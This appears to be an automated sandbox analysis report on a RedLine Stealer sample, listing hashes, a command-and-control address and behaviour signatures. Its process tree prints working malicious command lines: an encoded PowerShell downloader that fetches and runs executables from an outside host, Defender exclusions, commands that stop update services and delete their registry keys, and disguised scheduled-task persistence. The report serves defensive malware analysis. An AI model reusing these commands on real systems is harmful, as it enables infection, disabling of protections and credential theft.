Analysis
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max time kernel
153s -
max time network
40s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system -
submitted
05-02-2023 01:38
Static task
static1
Behavioral task
behavioral1
Sample
aa95d6c08ae9201828da23593e42df4a2e39ce82.exe
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
aa95d6c08ae9201828da23593e42df4a2e39ce82.exe
Resource
win10v2004-20220812-en
General
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Target
aa95d6c08ae9201828da23593e42df4a2e39ce82.exe
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Size
626KB
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MD5
47b01695ff80b03ae518b333163da42c
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SHA1
aa95d6c08ae9201828da23593e42df4a2e39ce82
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SHA256
474301aa2294450d6e60ae07824076744bccc4b2603a03cee01de3b4dbada38e
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SHA512
886a285e76a7d41e14bb1cfef3a464dc47e4b665bfd6905f26961253fd5f4eee0a6fed01afd464d603c8d17f6d09edc475e2fdd4da79178c6be0f54dc5bad466
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SSDEEP
6144:fMEN1L7wFSXZX4KipZx7fuwkBzvGwxAOo8jRfAAfc:f9N1LkFSJX45p3Uhq8jRAAE
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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Modifies security service 2 TTPs 2 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 4 IoCs
resource yara_rule behavioral1/memory/1148-83-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/1148-91-0x000000000041ADAE-mapping.dmp family_redline behavioral1/memory/1148-93-0x0000000000400000-0x0000000000420000-memory.dmp family_redline behavioral1/memory/1148-95-0x0000000000400000-0x0000000000420000-memory.dmp family_redline -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 516 created 1248 516 SmartDefRun.exe 17 PID 516 created 1248 516 SmartDefRun.exe 17 PID 516 created 1248 516 SmartDefRun.exe 17 PID 516 created 1248 516 SmartDefRun.exe 17 PID 1568 created 420 1568 powershell.EXE 3 -
Blocklisted process makes network request 1 IoCs
flow pid Process 4 1104 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Executes dropped EXE 5 IoCs
pid Process 1348 new2.exe 536 C4Loader.exe 516 SmartDefRun.exe 2016 SysApp.exe 1188 fodhelper.exe -
Loads dropped DLL 9 IoCs
pid Process 1104 powershell.exe 1104 powershell.exe 1104 powershell.exe 1104 powershell.exe 1104 powershell.exe 1104 powershell.exe 964 WerFault.exe 964 WerFault.exe 964 WerFault.exe -
Uses the VBS compiler for execution 1 TTPs
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Drops file in System32 directory 6 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File created C:\Windows\System32\Tasks\Telemetry Logging svchost.exe File opened for modification C:\Windows\System32\Tasks\Telemetry Logging svchost.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 2020 set thread context of 1128 2020 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 29 PID 1348 set thread context of 1148 1348 new2.exe 36 PID 516 set thread context of 1184 516 SmartDefRun.exe 58 PID 1568 set thread context of 1164 1568 powershell.EXE 64 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\appcompat\programs\RecentFileCache.bcf svchost.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1092 sc.exe 916 sc.exe 296 sc.exe 824 sc.exe 1552 sc.exe -
Program crash 2 IoCs
pid pid_target Process procid_target 2032 2020 WerFault.exe 25 964 1348 WerFault.exe 33 -
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 632 schtasks.exe 884 schtasks.exe 1316 schtasks.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 9044e9ff0a39d901 powershell.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1104 powershell.exe 1104 powershell.exe 1104 powershell.exe 1104 powershell.exe 1104 powershell.exe 1104 powershell.exe 1104 powershell.exe 1104 powershell.exe 1104 powershell.exe 2016 SysApp.exe 2016 SysApp.exe 2016 SysApp.exe 2016 SysApp.exe 2016 SysApp.exe 1148 vbc.exe 516 SmartDefRun.exe 516 SmartDefRun.exe 1768 powershell.exe 516 SmartDefRun.exe 516 SmartDefRun.exe 516 SmartDefRun.exe 516 SmartDefRun.exe 1956 powershell.exe 516 SmartDefRun.exe 516 SmartDefRun.exe 1528 powershell.EXE 1568 powershell.EXE 1568 powershell.EXE 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe 1164 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
description pid Process Token: SeDebugPrivilege 1104 powershell.exe Token: SeDebugPrivilege 1148 vbc.exe Token: SeDebugPrivilege 1768 powershell.exe Token: SeDebugPrivilege 1956 powershell.exe Token: SeDebugPrivilege 1528 powershell.EXE Token: SeDebugPrivilege 1568 powershell.EXE Token: SeDebugPrivilege 1568 powershell.EXE Token: SeDebugPrivilege 1164 dllhost.exe Token: SeShutdownPrivilege 1248 Explorer.EXE Token: SeShutdownPrivilege 1248 Explorer.EXE Token: SeShutdownPrivilege 1248 Explorer.EXE -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2020 wrote to memory of 1128 2020 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 29 PID 2020 wrote to memory of 1128 2020 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 29 PID 2020 wrote to memory of 1128 2020 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 29 PID 2020 wrote to memory of 1128 2020 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 29 PID 2020 wrote to memory of 1128 2020 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 29 PID 2020 wrote to memory of 1128 2020 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 29 PID 2020 wrote to memory of 2032 2020 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 30 PID 2020 wrote to memory of 2032 2020 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 30 PID 2020 wrote to memory of 2032 2020 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 30 PID 2020 wrote to memory of 2032 2020 aa95d6c08ae9201828da23593e42df4a2e39ce82.exe 30 PID 1128 wrote to memory of 1104 1128 vbc.exe 31 PID 1128 wrote to memory of 1104 1128 vbc.exe 31 PID 1128 wrote to memory of 1104 1128 vbc.exe 31 PID 1128 wrote to memory of 1104 1128 vbc.exe 31 PID 1104 wrote to memory of 1348 1104 powershell.exe 33 PID 1104 wrote to memory of 1348 1104 powershell.exe 33 PID 1104 wrote to memory of 1348 1104 powershell.exe 33 PID 1104 wrote to memory of 1348 1104 powershell.exe 33 PID 1104 wrote to memory of 536 1104 powershell.exe 35 PID 1104 wrote to memory of 536 1104 powershell.exe 35 PID 1104 wrote to memory of 536 1104 powershell.exe 35 PID 1104 wrote to memory of 536 1104 powershell.exe 35 PID 1104 wrote to memory of 516 1104 powershell.exe 37 PID 1104 wrote to memory of 516 1104 powershell.exe 37 PID 1104 wrote to memory of 516 1104 powershell.exe 37 PID 1104 wrote to memory of 516 1104 powershell.exe 37 PID 1348 wrote to memory of 1148 1348 new2.exe 36 PID 1348 wrote to memory of 1148 1348 new2.exe 36 PID 1348 wrote to memory of 1148 1348 new2.exe 36 PID 1348 wrote to memory of 1148 1348 new2.exe 36 PID 1348 wrote to memory of 1148 1348 new2.exe 36 PID 1104 wrote to memory of 2016 1104 powershell.exe 38 PID 1104 wrote to memory of 2016 1104 powershell.exe 38 PID 1104 wrote to memory of 2016 1104 powershell.exe 38 PID 1104 wrote to memory of 2016 1104 powershell.exe 38 PID 1348 wrote to memory of 1148 1348 new2.exe 36 PID 1348 wrote to memory of 964 1348 new2.exe 39 PID 1348 wrote to memory of 964 1348 new2.exe 39 PID 1348 wrote to memory of 964 1348 new2.exe 39 PID 1348 wrote to memory of 964 1348 new2.exe 39 PID 1996 wrote to memory of 916 1996 cmd.exe 47 PID 1996 wrote to memory of 916 1996 cmd.exe 47 PID 1996 wrote to memory of 916 1996 cmd.exe 47 PID 1996 wrote to memory of 296 1996 cmd.exe 48 PID 1996 wrote to memory of 296 1996 cmd.exe 48 PID 1996 wrote to memory of 296 1996 cmd.exe 48 PID 1996 wrote to memory of 824 1996 cmd.exe 49 PID 1996 wrote to memory of 824 1996 cmd.exe 49 PID 1996 wrote to memory of 824 1996 cmd.exe 49 PID 1996 wrote to memory of 1552 1996 cmd.exe 50 PID 1996 wrote to memory of 1552 1996 cmd.exe 50 PID 1996 wrote to memory of 1552 1996 cmd.exe 50 PID 1996 wrote to memory of 1092 1996 cmd.exe 51 PID 1996 wrote to memory of 1092 1996 cmd.exe 51 PID 1996 wrote to memory of 1092 1996 cmd.exe 51 PID 1956 wrote to memory of 1316 1956 powershell.exe 52 PID 1956 wrote to memory of 1316 1956 powershell.exe 52 PID 1956 wrote to memory of 1316 1956 powershell.exe 52 PID 1996 wrote to memory of 1796 1996 cmd.exe 53 PID 1996 wrote to memory of 1796 1996 cmd.exe 53 PID 1996 wrote to memory of 1796 1996 cmd.exe 53 PID 1996 wrote to memory of 1240 1996 cmd.exe 54 PID 1996 wrote to memory of 1240 1996 cmd.exe 54 PID 1996 wrote to memory of 1240 1996 cmd.exe 54
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:480
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C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵PID:472
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted2⤵PID:800
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C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"3⤵PID:1200
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C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe2⤵PID:304
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation2⤵PID:1016
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C:\Windows\system32\taskhost.exe"taskhost.exe"2⤵PID:1112
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork2⤵PID:1032
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe2⤵PID:328
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService2⤵PID:276
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs2⤵
- Drops file in System32 directory
- Drops file in Windows directory
PID:864 -
C:\Windows\system32\taskeng.exetaskeng.exe {857B7BEC-4838-4740-8D81-0B4BB2AECF7B} S-1-5-18:NT AUTHORITY\System:Service:3⤵PID:1172
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+'T'+[Char](87)+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+'d'+''+[Char](105)+''+[Char](97)+''+[Char](108)+'erst'+'a'+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1528
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue('d'+[Char](105)+'al'+'e'+''+[Char](114)+''+[Char](115)+''+[Char](116)+''+'a'+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1568
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C:\Windows\system32\taskeng.exetaskeng.exe {BA7DDC48-177D-4526-80D6-4557B8EC0AE1} S-1-5-21-3385717845-2518323428-350143044-1000:SABDUHNY\Admin:Interactive:[1]3⤵PID:952
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C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exeC:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe4⤵
- Executes dropped EXE
PID:1188 -
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"5⤵
- Creates scheduled task(s)
PID:884
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService2⤵PID:836
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted2⤵PID:736
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS2⤵PID:656
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch2⤵PID:576
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:420
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{532f8334-419a-4cfc-96be-c75a33686e44}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1164
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C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵PID:488
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\\?\C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R1⤵PID:1716
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1248 -
C:\Users\Admin\AppData\Local\Temp\aa95d6c08ae9201828da23593e42df4a2e39ce82.exe"C:\Users\Admin\AppData\Local\Temp\aa95d6c08ae9201828da23593e42df4a2e39ce82.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2020 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:1128 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1104 -
C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1348 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1148
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1348 -s 486⤵
- Loads dropped DLL
- Program crash
PID:964
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C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:536
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:516
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2016 -
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"6⤵
- Creates scheduled task(s)
PID:632
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2020 -s 483⤵
- Program crash
PID:2032
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1768
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:1996 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:916
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:296
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:824
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:1552
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:1092
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:1796
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:1240
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:1812
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:2036
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:944
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1956 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsDefenderSmartScreenQC /tr "'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe'"3⤵
- Creates scheduled task(s)
PID:1316
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:1184
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C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-1806176242237393214547689501-189789003615219280402145878167548908081305206280"1⤵PID:1424
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
